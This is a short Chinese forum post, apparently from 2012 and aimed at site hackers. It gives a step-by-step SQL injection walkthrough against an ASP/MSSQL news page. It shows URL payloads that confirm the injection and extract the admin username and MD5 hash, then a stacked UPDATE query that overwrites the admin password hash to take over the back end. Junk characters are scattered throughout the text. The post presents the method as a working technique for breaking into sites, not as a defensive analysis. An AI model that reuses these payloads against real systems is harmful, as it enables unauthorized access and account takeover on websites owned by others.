经常拿站的黑阔们一定经常碰到，某个网站有注入，管理员帐号和密码多暴出来了。% q* d! T$ K/ T% F6 C
可是密码是MD5加密的。而且在线的MD5解密不了。你说咋办？直接修改管理员密码的MD5值。然后进后台！(当然是有条件的。MSSQL)
( E: H; U, s7 f, F测试如下：
/ A! v! ~/ p6 Y |) ~' |http://www.tmdsb.com/news.asp?id=121: j" E" n1 Q t' ~
在地址后输入单引号，显示: h4 ~7 _& F* Y3 ?2 d
Microsoft OLE DB Provider for SQL Server 错误 ’80040e14’) }7 N0 Y d, F' g
字符串 ’’’ 之前有未闭合的引号7 f2 `6 h0 v' p
/news/tmdws.asp，行63
1 m; m: G6 C6 D0 X' S7 b说明没有过滤单引号且数据库是MSSQL.
. @3 H0 }9 r4 X7 B8 b: oand 1=1正常。and 1=2出错。肯定存在注入) p7 z1 K" h! \! r* S: {
接着输入
8 R! t+ z% k% y! v- K" X( Yhttp://www.tmdsb.com/news.asp?id=1 or admin_user in (select id from admin)
, {, I, H% O: N h5 ?6 H% r, D: [得到帐号为:admin
9 I% C, f2 i: ]& Ihttp://www.tmdsb.com/news.asp?id=121 or admin_password in (select id from admin)
B( m& {, u* O) c* @4 b得到密码为:a4716077c2ba075c
/ A0 u2 h2 m$ k1 ]! y {2 f1 f接下来我们就可以改密码了。但我们先前要知道我们加密的字符：e8dc763194f29433
* l+ k6 Z" b" |' s命令如下 :9 ^' ~7 s- \0 V
;update shop_admin set password=’e8dc763194f29433’ where password=’a4716077c2ba075c’–, r U2 c' R- u4 h3 G
这句的意思就是用e8dc763194f29433替换a4716077c2ba075c，以达到修改密码的目的 |
发表于 2012-9-13 17:55:24
收藏
支持
反对
发表于 2012-9-14 16:22:41